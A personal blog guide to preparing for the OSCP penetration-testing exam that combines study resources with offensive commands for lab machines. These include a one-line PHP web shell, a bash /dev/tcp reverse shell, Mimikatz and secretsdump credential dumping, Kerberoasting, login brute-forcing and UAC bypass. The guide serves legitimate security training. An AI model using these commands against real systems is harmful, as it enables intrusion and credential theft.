**Your BS-less Guide to Acing OSCP**

[[John Ford](https://medium.com/@redefiningreality?source=post_page---byline--4eccaf497410---------------------------------------)](https://medium.com/@redefiningreality?source=post_page---byline--4eccaf497410---------------------------------------)

[John Ford](https://medium.com/@redefiningreality?source=post_page---byline--4eccaf497410---------------------------------------)

17 min read

·

Sep 22, 2023

**What Makes This Guide Different**

There’s a ton of OSCP guides out there, and many of them are fantastic and share excellent resources. The one downfall I’ve seen time and time again is lack of specific attack vectors and technical tips, which I aim to provide in this guide, along with commands to run where relevant, without breaching the OffSec academic policy of course.

I’ll write the rest of this rather informally, lest I bore you with excessive incessant formalities, and I’ll assume some technical knowledge. If you don’t understand everything I say in the Technical Stuff section now, don’t fret! Go through the learning resources or find ones that work for you, and come back to that when you’re ready.

Remember that despite my frequent use of commanding voice, this is solely my opinion and my approach. I’m not claiming to have the best approach, and perhaps you’ll find one that works better for you. Take from this guide what you will. I’m simply recounting what worked for me.

**Why I’m Qualified to Write This**

I can’t guarantee that following this guide will earn you the OSCP nor will I provide solutions to exam machines. However, I aim to give you all the knowledge I had going into it. I just passed the OSCP exam and received my certification earlier this month, having fully compromised all 6 machines. In fact, I could’ve ended my exam within the first four hours and still passed if I wanted to. Follow this guide, and hopefully you’ll feel well overprepared and ready to ace the exam going into it, just like I did.

My journey wasn’t easy. I’ve been going for OSCP for a long time now and surely developed the “try harder” mindset. I first took it back in 2018 going in with little knowledge and failed miserably. Since then, I’ve been part of multiple Discord servers and consulted countless writeups and resources specifically dedicated to this exam. I have multiple friends who’ve taken the OSCP and passed as well who’ve shared their experiences with me. I completed the coursework required to receive 10 bonus points on the exam, which includes >80% completion of each of the exam modules and compromising 30 lab machines. I also tried retired OSCP machines on Proving Grounds Practice. I feel I’ve had a good amount of experience with box breaking and OffSec specifically.

Anyway, enough about me. Let’s get to the good stuff…

**Learning Resources**

**Learning Phase**

TCM Security → start here  
<https://academy.tcm-sec.com>  
- Practical Ethical Hacking  
- Linux Privilege Escalation  
- Windows Privilege Escalation  
- Practical Web Application Security and Testing → also available at [Taggart Institute](https://taggartinstitute.org/p/pwst)  
- Practical API Hacking

This will cost $30/month. I think a reasonable timeframe to complete these courses is two months. If you’re diligent, you can finish in one. I don’t recommend necessarily following along, just be sure to take good notes and start working on a cheat sheet. TryHackMe, HackTheBox, and OffSec will give you plenty of hands-on practice.

TryHackMe — my #1 recommended resource  
[https://tryhackme.com](https://tryhackme.com/hacktivities#learning-paths)  
- offensive pentesting path

The price keeps changing, but I think it’s currently $14/month (not counting university student discount, which puts it at $11.50/month). Take this one seriously. You’ll probably spend the most time here, so I would buy a package with multiple months for cheaper or simply the annual plan, although I think you should be able to get it done in 3-4 months if you're working at it consistently. You can skip the buffer overflow section (no longer on OSCP) and consult walkthroughs for the standalone boxes. The Active Directory section was my favourite. Don’t get discouraged, the OSCP is not this hard, and you will find tools (mostly impacket) to make everything you do here much easier. Performing each of these attacks the direct and hardcore way that TryHackMe does is wholly worth it in my opinion because it forces you to really understand what’s going on.

**Practice Phase**

HackTheBox and Proving Grounds Practice<https://hackthebox.com><https://www.offsec.com/labs/individual/>  
- follow [TJnull’s vulnerable machines list](https://www.netsecfocus.com/oscp/2021/05/06/The_Journey_to_Try_Harder-_TJnull-s_Preparation_Guide_for_PEN-200_PWK_OSCP_2.0.html#vulnerable-machines)

Both HackTheBox and Proving Grounds Practice are currently $20/month (assuming you get the HackTheBox VIP+ plan with individual instances of each machine). I would get one first, work through it, then switch to the other. So maybe 1 month HackTheBox then 1 month Proving Grounds.

During your downtime, read through different sections of [HackTricks](https://book.hacktricks.xyz) and watch YouTubers like [IppSec](https://www.youtube.com/@ippsec) or [xct](https://www.youtube.com/@xct_de). You can also find videos by IppSec covering a specific topic by searching that topic on [ippsec.rocks](https://ippsec.rocks).

I especially liked the [Windows privilege escalation](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation) section on HackTricks because it taught me a lot of important Windows concepts I didn’t know. Another topic lacking in my notes was impacket, and many of the scripts are extremely useful — IppSec demonstrates that quite well. It’s worth doing a whole Googling session on impacket and figuring out what all the scripts do. You can also consult [my cheat sheet](https://docs.google.com/document/d/17W30A0wpB7lVTDb7SCjWs0lb9bMAjVR4B7Dp_c2rU2g/) for the commands I put down.

It’s definitely important to get some practice in. However, I was surprised how little practice I actually needed after having taken the learning phase seriously. When you get bored out of your mind doing boxes on TJnull’s list, you’re probably ready to move to the next phase. I only did about half (maybe less to be honest) of the list on HackTheBox and only one or two boxes on Proving Grounds. Though if I were to go back in time, I probably would’ve spent more time on Proving Grounds than HackTheBox since those boxes are designed by OffSec. I also gave up on boxes and resorted to looking at walkthroughs quite often. Don’t worry, everyone struggles with boxes, it’s not just you. Don’t let that discourage you, and don’t be afraid to resort to walkthroughs.

**Reinforce Phase**

OffSec  
<https://portal.offsec.com/courses/pen-200>  
- PEN-200 (required) → get the 10 bonus points (more on this later)

**Discord Servers**

The two Discord servers where I received the most help and positive motivation when preparing for the OSCP were Tyler Ramsbey’s Work Smarter Discord, and the OffSec Discord. I highly recommend checking out [Tyler Ramsbey’s videos](https://www.youtube.com/@TylerRamsbey) on YouTube as well, many of which I watched along with IppSec and xct. You’ll find a link to the Work Smarter Discord in the descriptions of his videos. Be sure to look around for the OSCP Chat channel, which you may not see by default.

Last but not least,  
**My Resources**

[Red Team Manual v3 (Cheat Sheet)](https://docs.google.com/document/d/17W30A0wpB7lVTDb7SCjWs0lb9bMAjVR4B7Dp_c2rU2g/) → you’ll probably want to make your own, but here’s mine — use the document outline for quick navigation  
[Linux Commands Cheat Sheet](https://docs.google.com/document/d/1vJxoHrjW607NJDLC1Zln1llrEIqrS6Ea3j9ihJTdblg/)  
[Windows Commands Cheat Sheet](https://docs.google.com/document/d/1CGgADAOZQuMXAyzXVeXRNhQ_PPBYliMXCy-4RNE0UMw/)  
[OhMyKali ZSH Terminal Plugin](https://github.com/RedefiningReality/ohmykali)

**Technical Stuff**

**Initial Access**

Know how to work with every main service: FTP, SMB, RPC, SSH, LDAP, RDP, WinRM, HTTP, SQL (MySQL, PostgreSQL, MSSQL), NFS — You may consult [my cheat sheet](https://docs.google.com/document/d/17W30A0wpB7lVTDb7SCjWs0lb9bMAjVR4B7Dp_c2rU2g/) for this

For services on weird ports, connect to them with netcat and try typing help or messing around with them. If that gives you nothing and neither did running nmap with -sC -sV it’s probably not the way in and you can ignore it.

Things to look for:

* FTP anonymous login → I just use the ftp command
* SMB null session (no username or password) or username guest with no password → I use smbclient normally, but sometimes crackmapexec or enum4linux, depending on my mood

**Web Exploits (HTTP)**

This is well covered in PEN-200 to be honest, so I’m not going through everything here, but here are some tips.

* Google search what framework the site is running with the word exploit → even if you don’t have the version, if an exploit pops up right away then that’s likely it
* if you see nothing but a default page, gobuster it with pdf,txt,php extensions starting with dirb/common wordlist bc it’s super quick and if that still doesn’t give you much I jump right to dirbuster/directory-list-2.3-medium

gobuster dir -u http://<ip> -x pdf,txt,php -w /usr/share/wordlists/dirb/common.txt  
gobuster dir -u http://<ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Sometimes further gobustering subdirectories is helpful too. I wouldn’t spend too much time doing that though unless you have suspicions about them.

Of course, you could use another command like feroxbuster, dirbuster, ffuf, etc, but I personally like gobuster because it’s command-line, easy to use, and has lots of options. To bruteforce website logins, that’s when I use ffuf (which is faster than wfuzz by the way). You can copy the request from BurpSuite intercept to a file, in this case req.txt.

# Replace FUZZ in req.txt with word in wordlist  
ffuf -request req.txt -request-proto http -w <wordlist>  
# Replace USER in req.txt with user in userlist and PASS with password in passlist  
ffuf -request req.txt -request-proto http -mode <pitchfork/clusterbomb> -w <userlist>:USER -w <passlist>:PASS

On that note, when I browse sites on any target, I generally have the traffic always go through BurpSuite, using the [FoxyProxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/) Firefox extension. This way I can always go back to BurpSuite and get a site map for pages I visited. Not required, but I find it nice.

* SQL injection with MSSQL xp\_cmdshell or MySQL INTO OUTFILE → union or error (verbose) based since they really can’t give you anything blind → perspectiverisk has really good cheat sheets: [MySQL](https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/), [MSSQL](https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/)
* any login panel try some basic creds like admin:password, admin:admin, name of the site, and default creds for the site framework found online. This is one thing I strongly dislike about OffSec; sometimes they expect you to just guess some creds on a login page to get in
* if you get into an admin panel, first thing to look for is a file upload feature → assuming PHP which OffSec seems to like a lot, try test.php (which probably won’t work bc they want you to try harder), test.pHP (which probably will work), test.phtml, test.php5

For PHP, I like this shell:

<?php system($\_GET["cmd"]); ?>

BUT if you use the PHP Ivan Sincek one from [revshells.com](https://www.revshells.com), I’ve found that it sometimes gives you access as the service user in Windows when the other basic one only gives you access as a normal user. This is really useful because service users have SeImpersonatePrivilege and potato attacks are easy. Nobody talks about this, which I find weird.

**Reverse Shells**

In special cases when netcat is not your friend, [revshells.com](https://www.revshells.com) saves so much time typing it all out (especially powershell base64 encoded)

Always try port 80 or 443 first to avoid getting blocked by firewall.

* when getting a reverse shell on Windows, I always just use nc.exe because it’s the stablest. So first command to upload, second command to get shell
* on Linux, first try

/bin/bash -c "bash -i >& /dev/tcp/<ip>/443 0>&1"

then upload netcat if that doesn’t work → don’t try to use the target’s built in netcat since it probably won’t have the -e option.

**File Transfers**

Linux: python SimpleHTTPServer or http.server on machine with file and wget/curl to get file

# Serve a specific directory  
python2 -m SimpleHTTPServer 80 --directory <dir>  
python3 -m http.server 80 --directory <dir>

# Download file  
wget http://<ip>/<file>  
curl http://<ip>/<file> -o <output file>

Windows: impacket-smbserver -smb2support on Kali and copy with \\<ip>\<share> in the path to both upload and download or mount with net use

# Serve a specific directory  
impacket-smbserver -smb2support share <dir>

# Download from attacker  
copy \\<ip>\share\<file>  
# Upload to attacker  
copy <file> \\<ip>\share

My terminal plugin makes these easy: <https://github.com/RedefiningReality/ohmykali>

If all else fails: service ssh start on your Kali and use scp

# Start ssh service  
service ssh start

# Download from attacker  
scp kali@<ip>:<path to file> .  
# Upload to attacker  
scp <file> kali@<ip>:<path>

**Linux Privilege Escalation**

First of all, to recursively search the contents of files in a directory:

grep -Horn <text> <dir>

I use this so extensively idk why nobody talks about it. If you want to print out the whole line in each file instead of just the line number, remove the vowel (grep -Hrn).

SUID file/capability then [GTFObins](https://gtfobins.github.io)

find / -perm -u=s 2>/dev/null  
find / -perm -g=s 2>/dev/null  
getcap -r /

sudo then [GTFObins](https://gtfobins.github.io)

sudo -l

Processes → look for ones running as root or another user

# Some prettier alternatives to ps aux  
ps fauxww  
ps -ewwo pid,user,cmd --forest

Internal services to port forward

Pro tip: when you’re using Linux commands that require multiple flags, order them to make a fake word you can remember. “plunt” sticks in my head much better than “unltp” for example. grep -Horn above is another good example. Some people use goofy long commands, and I’m just like why…

# All connections  
netstat -antup  
# Listening connections  
netstat -plunt

Common directories: check /, /home and nested user directories, and /opt. Use ls -lah to list hidden things

Cron jobs → look for anything unusual

cat /etc/crontab  
ls /var/spool/cron  
ls /etc/cron.\*  
# also repeat these replacing cron with anacron

If there’s a website running, always look for a config file with creds — this applies to Windows too (for wordpress it’s wp-config.php for example)

I don't really run privilege escalation scripts in Linux. You’ll rarely get more useful stuff than that.

**Windows Privilege Escalation**

Remember from a cmd session you can switch to powershell with

powershell -ep bypass

Note: -ep bypass is unnecessary unless you plan to run scripts.

Another thing nobody talks about that I think is absolutely instrumental is that 64-bit Windows either runs processes in 32-bit or 64-bit mode, and if your shell is running in 32-bit mode, the regular WinPEASany might not show everything. When I get a shell, I first check with [System.Environment]::Is64BitProcess in PowerShell, and if it says false you can switch to 64-bit by running C:\Windows\sysNative\cmd.exe. Alternatively, always run the 64-bit versions of any binary (eg. WinPEAS or mimikatz) when on a 64-bit Windows, and you should have no issue, though I find keeping 32 and 64 bit versions of binaries a little annoying when I can just have one that works for both.

whoami /priv

then GodPotato or SweetPotato (printspoofer) if you have SeImpersonatePrivilege. GodPotato works in more cases, but SweetPotato gives you stabler rev shells. If using GodPotato, it’s easier to create a new admin user and switch to them with RunasCs. For other kinds of token abuse, [this HackTricks page](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens) is nice, and maybe try [this](https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe) if you have SeRestorePrivilege.

Side note: I've seen many people get stuck switching users in Windows because runas doesn’t work unless you have a full shell to enter the password. Just use RunasCs.exe [available on GitHub](https://github.com/antonioCoco/RunasCs/releases). It works great and has reverse shell capability built in with -r. Thanks to IppSec for that idea.

whoami /group

if you’re in the Administrators group then UAC bypass with [FodhelperBypass.ps1](https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1) to execute a reverse shell. Modify $program in the script to spawn a netcat reverse shell (assuming you uploaded nc.exe).

PowerShell History

Get-History  
(Get-PSReadlineOption).HistorySavePath  
type <path>

Interesting stuff in Users directory

Get-ChildItem -Path C:\Users -Include \*.txt,\*.ini,\*.pdf,\*.kdbx,\*.exe -Recurse -ErrorAction SilentlyContinue

Check C:\ for any weird folders.

Two most important privesc scripts: [**PrivescCheck.ps1**](https://github.com/itm4n/PrivescCheck/blob/master/PrivescCheck.ps1) and [**winPEASany.exe**](https://github.com/carlospolop/PEASS-ng/releases)

* PrivescCheck is the nicest by far and I’d start with it first → look at every section that says KO in the table at the end except the missing patches one. It’ll catch unquoted service paths, service binaries you can overwrite, scheduled tasks, etc — all the stuff that’s really annoying to find manually.
* WinPEAS is gross to look at, but it’ll find some things PrivescCheck won’t like autologon creds. Don’t spend too much time on it just look for anything really obvious that stands out.

**Active Directory**

Remember: *OffSec AD is super basic*. It’s always find creds → use creds → repeat. Finding the creds and where they go might be a little hard, but don’t overthink your attack vectors — perhaps I’m wrong, but I doubt there’s anything fancy like AD CS or constrained delegation attacks.

[pimpmykali](https://github.com/Dewalt-arch/pimpmykali) is nice and fixes some AD tools like impacket and crackmapexec. [crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) is (maybe?) deprecated in favour of [netexec](https://github.com/Pennyw0rth/NetExec), but I will still refer to it as crackmapexec because it was that when I used it. For future readers, you may have to replace crackmapexec with netexec below. Here’s some [“colourful discussion”](https://github.com/byt3bl33d3r/CrackMapExec/discussions/801) for how that went down.

Pivot with [ligolo-ng](https://github.com/nicocha30/ligolo-ng). Chisel is just too slow in my opinion. I have the commands you need to run on [my cheat sheet](https://docs.google.com/document/d/17W30A0wpB7lVTDb7SCjWs0lb9bMAjVR4B7Dp_c2rU2g/), and you can copy and paste them. Super easy.

Side note: if you have the hash but not the password for a user, you can omit the password and add -hashes :<hash> for impacket or -H <hash> for crackmapexec or evil-winrm.

* once admin, [mimikatz](https://github.com/gentilkiwi/mimikatz/releases) sekurlsa::logonpasswords and impacket-secretsdump have you covered for finding creds (other than digging around on the machine). Note the Administrator hash as you can always use that to get back in if you lose your shell with impacket psexec or wmiexec

impacket-secretsdump <domain>/<user>:<password>@<target>

AS-REP roasting, Kerberoasting → both with impacket: GetNPUsers and GetUserSPNs

# AS-REP roasting  
impacket-GetNPUsers <domain>/<user>:<password> -dc-ip <ip> -request -format john -outputfile hashes.txt  
# Kerberoasting  
impacket-GetUserSPNs <domain>/<user>:<password> -dc-ip <ip> -request -outputfile hashes.txt

crackmapexec smb with --continue-on-success to test any creds you get across all machines (Pwn3d means you’re an admin). I’ve heard people complain that crackmapexec occasionally reports false positives or false negatives with “Pwn3d”. I personally never experienced that, but just keep that in mind. I used the [poetry installation](https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation#installing-from-source) if that makes any difference.

crackmapexec smb <file with ips> -u <user> -p <password> --continue-on-success  
crackmapexec rdp <file with ips> -u <user> -p <password> --continue-on-success

crackmapexec smb --shares is useful to see if you can access any shares

ldapdomaindump then open the get\_users\_by\_group file in Firefox. You’ll be able to see all users, their descriptions, and any domain admins

ldapdomaindump ldap://<dc> -u '<domain>\<user>' -p <password> -o <dir>

evil-winrm when you get new creds that might work for MS02 or DC over RDP

evil-winrm -i <host/ip> -u <user> -p <password>

Yes, bloodhound is too advanced and you don’t need it, but I like it. I run the [bloodhound-python](https://github.com/dirkjanm/BloodHound.py) ingestor (pip install bloodhound). It makes seeing all users, groups, group memberships, kerberoastable and AS-REP roastable users really easy. I’m not going to go over how to do that here since it’s not necessary, but feel free to look into it or reach out to me.

**Hash Cracking**

Maybe not in the real-world, but for OSCP, crack hashes with john. You don’t need to memorize the stupid hash format number. The command is always

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

If rockyou can’t crack it, it probably wasn’t meant to be cracked. If you see a password-protected zip or kdbx file, it’s likely meant to be cracked unless rockyou can’t crack it.

zip2john <file>.zip > hash.txt  
kdbx2john <file>.kdbx > hash.txt

Open kdbx files with [KeePassXC](https://keepassxc.org/download/#linux)

**Workflow and Notetaking**

Everybody has their own workflow, so I won’t pretend mine is the best, and I recommend experimenting with different options.

Half-jokingly, I see two kinds of Linux users in this world: 1. [tmux](https://github.com/tmux/tmux/wiki) or [i3wm](https://i3wm.org) and vim users (the hardcore key-bindings memorizers) vs 2. [terminator](https://gnome-terminator.org), workspaces, and nano users (who prefer pretty graphical user interfaces). At least have some kind of workflow. You’ll probably want every second you can get on the exam and won’t want to waste your time clicking through multiple terminal windows to figure out which one has the commands you’re looking for. I also highly recommend looking into zsh terminal plugins and a plugin manager like [oh my zsh](https://ohmyz.sh) to make your life easier. I personally suck at memorizing key-bindings and like pretty things, so I go the nano and graphical route, though I believe vim has its place. It took me a while (and learning [vim from Taggart](https://taggartinstitute.org/p/vim-for-everyone)) not to be intimidated by hardcore vim users…

Because many people seem confused about this, I’d like to make the distinction between *notetaking* and *report writing*. I’m using “notetaking” to refer to the process of taking notes *while you’re solving a box* (including OSCP exam machines) and “report writing” to refer to the process of writing a full-fledged report to submit to the “company” *after the fact*. For notetaking, I used Obsidian, while for report writing, I used Google Docs.

I tried out a lot of different notetaking applications, including CherryTree, Joplin, OneNote, and Notion. I chose Obsidian for multiple reasons: I like markdown, you can make a template that you can use for every box, and it supports hashtags (#) that I used to quickly search my box notes for a specific attack vector. Although I hear many people recommending Obsidian, and I like it too, there’s no one right application to use, and they all have their benefits and costs.

Here’s what goes in my box notes:  
- full nmap scan and bullet list of services  
- initial foothold  
- privilege escalation  
- loot (usually creds found)  
- hashtags (#) for each attack vector so that I can easily find it with a search later

Last but not least, for report writing, you’ll probably use a full formatting text editor. In my personal opinion, Microsoft Word is an absolute pain to work with, so if you want your report writing process to be relatively painless, upload the OSCP exam report template to Google Drive and use Google Docs instead. Some people take a different approach and [write their final report in markdown](https://github.com/noraj/OSCP-Exam-Report-Template-Markdown). I elected not to do that, but do what works best for you!

If you got all that, you’re probably set. You may run into something you’ve never seen before on exam day, but your foundation should be solid, and hopefully with enough Googling you’ll be able to tackle the problem at hand. That’s pretty much all there is to it! \*he says, knowing fully well that was *a lot*\*

**Preparation Tips**

In terms of advice, here’s what helped me:

#1 Remember this is OffSec. The exploit paths are not fancy nor hard to spot at all, they’re just “OffSecy”. What I mean by that is if you’re trying AD CS attacks or if you’re digging through Program Files looking for creds, you’re probably not on the right path. Stick to what’s taught in the course. The correct way is surprisingly obvious if you don’t go too deep, and I didn’t run into any rabbit holes. ***Enumeration > spending a long time on a path*** — unless you can see they set it up very obviously for that path to work (which is something I did see on the exam).

* The best prep are the practice labs. I grinded 23 machines the day before to get the bonus points. I definitely don’t recommend that, but it did help me keep that stuff fresh.
* Use walkthroughs. Some people spend forever on each practice machine to try to develop the “try harder” mindset. For me that’s a waste of time, and I learn the exploit path just as well by searching for the answer and then trying it out myself. I searched the OffSec Discord extensively when completing the practice labs. It also helps you learn tools that other people use and what they struggle with. Work smarter not harder!

**Exam Day Tips**

* Read the [OSCP exam guide](https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide) and [FAQ](https://help.offsec.com/hc/en-us/articles/4412170923924-OSCP-Exam-FAQ) in advance so there are no surprises.
* Be prepared to run a script to check your OS before beginning your exam. I had so many issues with getting this to work that it was honestly quite embarrassing. I’d recommend getting there at least 20 minutes early just in case.
* Sleep 8 hours during the exam. You have plenty of time, and I slept 9. Sleep is most important, more than eating. Your brain can function without food but not without sleep. You should probably eat too though.
* Don’t underestimate Googling everything you find followed by the word exploit lol. Any initial attack vector is often going to be an outdated service with exploit available on exploit-db or default/weak credentials. If I see a website, first thing I do is Google the site name + exploit. Second thing I do is Google site name + default credentials.
* Go for the 10 bonus points. Think about it this way: if you’re unlucky enough to get a very difficult Active Directory section and so much as one part of the exploit path trips you up, you failed… unless you have the bonus points, in which case you still have a chance if you get the standalone machines. Many of the capstone challenges are rather buggy or take a long time to complete, so I’d skip those unless you’d like extra practice. You can usually hit the 80% mark with just the normal exercises.
* Do not get too excited after compromising enough machines. Yes, that’s generally the hard part, but be sure you took good notes and screenshots along the way, and be sure to work on your report ASAP. I stupidly didn’t schedule enough time to finish my report and was panicking because I turned it in a few minutes late with an incomplete table of contents. I passed anyway, but just get it done. It’s definitely not worth the stress.

**Final Thoughts**

Best of luck with your OSCP journey! I hope you have a positive experience and get as much out of it as I did. Overall, I learned a great deal that I will take with me into my future pen testing endeavours and received a lot of wonderful mentorship that I am very thankful for. It was a sometimes stressful but mostly fantastic experience that I’d recommend to anyone who’s serious about offensive security. I have a lot of respect for the OffSec staff for putting this together and being so helpful along the way.

If you have any questions, feel free to [connect with me on LinkedIn](https://www.linkedin.com/in/redefiningreality) or reach out to me on Discord at RedefiningReality. I may not be able to get back to you right away, but I’ll try to respond as soon as I can.